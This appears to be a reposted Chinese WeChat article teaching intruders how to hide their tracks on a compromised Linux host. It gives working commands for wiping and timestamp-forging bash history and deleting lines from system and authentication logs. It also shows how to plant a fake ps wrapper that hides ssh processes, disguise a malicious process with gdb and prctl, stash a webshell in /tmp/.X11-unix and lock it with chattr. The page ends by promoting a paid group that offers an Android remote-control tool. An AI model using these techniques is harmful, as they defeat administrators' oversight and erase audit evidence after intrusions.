渗透痕迹隐匿(Linux)
❝
由于传播、利用本公众号所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并且致歉。谢谢!
同款Kali链接
https://pan.quark.cn/s/097b4bfd5ecc
暴力撤退
直接杀死进程
kill -9 $$
kill 结束进程 -9 强制结束 $$ 指定当前shell
相较于下面的隐匿操作,这个显得更加暴力,虽然确实有效但是相较于下面的绝对隐匿还是太危险了,首先强制终止进程可能导致系统异常被管理员发现,然后日志文件也会将事件记录,如果对文件进行操作时终止也会导致文件状态异常更加容易被发现
历史命令去痕
原理、本质
在打开一个bash shell 后,.bash_history文件中的内容会被加载到history的记录列表中,并且我们在这一个shell中执行的命令也会被追加到history列表中去,而当我们关闭这个shell时,history列表中的命令就会被写到.bash_history中进行持久化保存
历史命令清除
对于bash shell而言Linux系统会将用户在终端输入的命令记录在~/.bash_history文件中。
(明白这个原理后,我们的历史命令可以在保存入.bash_history中之前就进行清除,从而不会有痕迹)
清除
-
简单覆盖
> ~/.bash_history
但是这种清除方法比较明显,因为文件的时间戳也会被更新
-
伪造清除
先使用history命令进行清除,然后去改时间戳
echo"" > ~/.bash_historytouch -d "yesterday" ~/.bash_historyhistory -c
-
清除指定行到文件结尾的所有命令
这里用到流文本编辑器sed
sed -i '3,$d' ~/.bash_history
sed -i
命令用于直接在文件中进行修改,而不是像普通的sed
命令那样只是将修改后的内容输出到屏幕上。
不记录历史命令
空格+命令可以不触发命令记录
lshistory
临时禁用历史命令
临时禁用历史命令记录
set +o history
重新启用历史命令记录
set -o history
修改环境变量HISTSIZE(历史命令记录数)
初始是1000条
export HISTSIZE=0
临走之前,不用给人家将那个HISTSIZE改回来,因为export所设置的是临时变量,当此shell进程结束时临时变量也会失效
隐匿
# 进入前先改环境变量export HISTSIZE=0# 临走时进行清除history -c
如果想临走时给它原来的也清了可以用history -cw
但是不利于隐匿
日志去痕
系统日志
/var/log/messages、/var/log/syslog 等
-
直接使用vi、nano文本编辑器进行删除
-
使用sed进行删除(当交互式编辑器失效时使用)
sed '/error/d' /var/log/messages
/error/是一个正则表达式,后面的d表示删除
用户登录日志
/var/log/auth.log
(Debian、Ubuntu 等)或/var/log/secure
(Red Hat、CentOS 等)
应用日志
/var/log/apache2/
用于存储 Apache 服务器日志,/var/log/mysql/
用于存储 MySQL 数据库日志
日志文件
ls -lh /var/log
进程隐匿
伪造ps命令
查看ps
路径
which ps
用ps
查看ssh进程
ps -ef | grep ssh
创建一个伪造的ps,位于/usr/local/bin/ps 路径中
# !/bin/bash/usr/bin/ps $@ | grep -Ev 'ssh'
赋予执行权限
chmod +x /usr/local/bin/ps
重启shell(虽然已经伪造成功,但是目前调用的还是原来的那一个ps)
重启后查看,发现ssh进程已经被隐藏起来了
伪造ps正常进程
简单来说就是将恶意进程改为一个正常进程的名字,让管理员不容易发现
命令行参数修改
先查到需要伪装的恶意进程的ID
ps -ef | grep evil
这里假设evil进程的ID为1111
echo"ssh" > /proc/1111/cmdline
结合重定向输出将命令行参数修改
进程名称修改
需要先下载 gdb 工具
sudo gdb -p 1111 -ex "call prctl(15, "ssh", 0, 0, 0)" -ex "detach" -ex "quit"
这样就在名称和参数上对恶意进程进行伪装隐藏
拓展
类似与这种可以查到我们的命令都可以进行伪造,如将netstat进行伪造,隐藏自己ip。
管理员一般不会注意到ps的位置已经发生变化,它只在乎有没有风险
文件隐藏
隐藏文件
一般我们的恶意文件或者目录都放在隐藏目录中,就比如/tmp
目录下就有隐藏的目录/tmp/.X11-unix
等
mv muma.php /tmp/.X11-unix/hh.php
直接将木马隐藏到该隐藏目录下。
修改文件权限
使用chattr命令可以防止root和其他用户删除文件,并且ls -liah 无法排查
# 添加文件锁定属性chattr +i 1.txt # 查看文件属性lsattr 1.txt # 删除文件失败rm -rf 1.txt # 删除锁定属性chattr -i 1.txt rm -rf 1.txt
文章精选
OSCP培训咨询
内部帮会
可以加入一下我们的帮会,是真正的红队大佬创建的,里面会定时丢些网上没有的工具(比如安卓远控7.4,不过现在已经删除了,有时限,加入的记得看好时间),现在只要99就可以终身,后面人多了就会涨价了
其中:有大量关于网络安全的电子书籍
还有大量公开、内部整理5000+POC合集
进入帮会更多精彩内容,优质工具。
原文始发于微信公众号(泷羽Sec-Blanks):渗透痕迹隐匿(Linux)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论